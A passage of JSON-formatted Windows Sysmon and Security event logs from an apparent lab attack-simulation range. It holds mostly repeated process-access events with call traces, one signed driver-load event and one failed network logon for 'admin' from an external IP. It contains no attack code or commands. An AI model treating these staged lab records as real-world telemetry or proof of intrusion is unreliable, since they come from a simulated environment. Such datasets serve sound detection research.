C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1349,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.391\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xennet.sys\r\nHashes: MD5=7E6757CF81A305710B036475BCEDBC30,SHA256=9A5D7EAC527B6CDEC891C4A5C49FAF8599A1714078960DB87A7D72B0888A8987,IMPHASH=73F39C491797C6F3DFFBBE92FB638F34\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.391","ImageLoaded":"C:\\Windows\\System32\\drivers\\xennet.sys","Hashes":"MD5=7E6757CF81A305710B036475BCEDBC30,SHA256=9A5D7EAC527B6CDEC891C4A5C49FAF8599A1714078960DB87A7D72B0888A8987,IMPHASH=73F39C491797C6F3DFFBBE92FB638F34","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221477,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58675\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58675","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.716\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.716","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: 